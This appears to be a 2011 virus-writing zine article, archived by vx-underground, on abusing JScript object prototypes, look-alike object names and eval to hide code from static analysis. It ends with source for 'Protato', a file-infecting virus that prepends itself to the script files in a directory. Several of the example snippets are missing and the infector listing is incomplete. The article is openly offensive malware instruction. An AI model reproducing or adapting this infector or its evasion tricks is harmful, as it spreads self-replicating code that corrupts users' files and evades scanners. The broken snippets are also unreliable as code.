,, MMP""MM""YMM `7MM P' MM `7 MM MM MMpMMMb. .gP"Ya MM MM MM ,M' Yb MM MM MM 8M"""""" MM MM MM YM. , .JMML. .JMML JMML.`Mbmmd' `7MMF' `7MF' `7MMF' `7MMF' `MA ,V MM MM VM: ,V `7M' `MF' MM MM .gP"Ya ,6"Yb.`7M' `MF'.gP"Ya `7MMpMMMb. MM. M' `VA ,V' MMmmmmmmMM ,M' Yb 8) MM VA ,V ,M' Yb MM MM `MM A' XMX MM MM 8M"""""" ,pm9MM VA ,V 8M"""""" MM MM :MM; ,V' VA. MM MM YM. , 8M MM VVV YM. , MM MM VF .AM. .MA..JMML. .JMML.`Mbmmd' `Moo9^Yo. W `Mbmmd'.JMML JMML. ,, ,, ,, .g8"""bgd `7MM `7MM mm db .dP' `M MM MM MM dM' ` ,pW"Wq. MM MM .gP"Ya ,p6"bo mmMMmm `7MM ,pW"Wq.`7MMpMMMb. MM 6W' `Wb MM MM ,M' Yb 6M' OO MM MM 6W' `Wb MM MM MM. 8M M8 MM MM 8M"""""" 8M MM MM 8M M8 MM MM `Mb. ,'YA. ,A9 MM MM YM. , YM. , MM MM YA. ,A9 MM MM `"bmmmd' `Ybmd9'.JMML..JMML.`Mbmmd' YMbmd' `Mbmo.JMML.`Ybmd9'.JMML JMML. -- Contact -- https://twitter.com/vxunderground vxug@null.net

What is a prototype?

JScript object methods use function prototypes which are the default handler when the method is called. We can create new methods for some objects by declaring a prototype with the name that we want to use. We can also change the handler for existing methods in some objects by declaring a prototype with the same name as that method.

Which objects?

We can add and change any method for these objects: Array, Boolean, Date, Function, Number, Object, String. That allows us to make a big problem for static analysis, because the method call might run something entirely other than before.

How to change the prototype?

There are two ways that we can change it. One way is to declare a function that will run. The function can be anonymous, and it can do anything that the script can do normally. It looks like this:


Here I use "object" as the object, and create a new method called "bar" which will display the message whenever the method is called. To call the method, we have to create a new object first, and the new object will have the changes, like this:

        foo=new Object

Then we call the method as usual:


and the message will display. We can change an existing method in the same way, like this:


Then we create the object and call the method as usual, like this:

        foo=new Date

It looks like it would return the current year, but instead it displays the message. Of course, you can pass parameters to the function if you declare them to the function, like this:

        foo=new String

That helps us to make more problems for static analysis, because it is hard to see which parameters are used. The other way to change the prototype is to include the code without the function declaration. Then the code will be called during object construction and no need to call the prototype at all!

        new Array

and the message will display. This can execute only one command, though, but if you use "eval" there, and pass your code as parameter, then you can run as much as you want, like this:

        foo = new Array

Another thing that we can do is to create a new object with a similar name to another object, and create a prototype with the same name as a "safe" method. One obvious choice for this is WScript. Since JScript is case-sensitive, we can create an object called "Wscript" or "wScript" which looks similar if not paying attention. Then we can create the "echo" prototype, and it looks like the code will print a message, but it's not the right one, like this:

        wScript=new Date

Best of all, the code that is assigned to the prototype can be read back, so we do not need to carry our own source code, like this:

        foo = new Boolean

will display "function(r){WScript.echo(r)}".

Let's see the code.

  /*Protato - roy g biv 22/02/11*/
  a=new ActiveXObject("scripting.filesystemobject")
  for(b=new Enumerator(a.getfolder(".").files);!b.atEnd();b.moveNext())
                                                //demo version, current directory only
        d=a.opentextfile(c)                     //open potential victim
        e=d.read(1)                             //read first character, keep for later
        if(e!="D")                              //check for infection marker
            e+=d.readall()                      //read entire file
            f=c.attributes                      //save attributes
            c.attributes=0                      //remove any read-only attribute
            g=a.createtextfile(c)               //open file for writing
            g.write("Date.prototype.r="+r.r+";r=new Date;r.r();"+e)
                                                //prepend to file
            g.close()                           //close file (write mode)
            c.attributes=f                      //restore attributes
        d.close()                               //close file (read mode)
r=new Date

Greets to friendly people (A-Z):

Active - Benny - herm1t - hh86 - izee - jqwerty - Malum - Obleak - Prototype - Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras - uNdErX - Vallez - Vecna - Whitehead

rgb/defjam feb 2011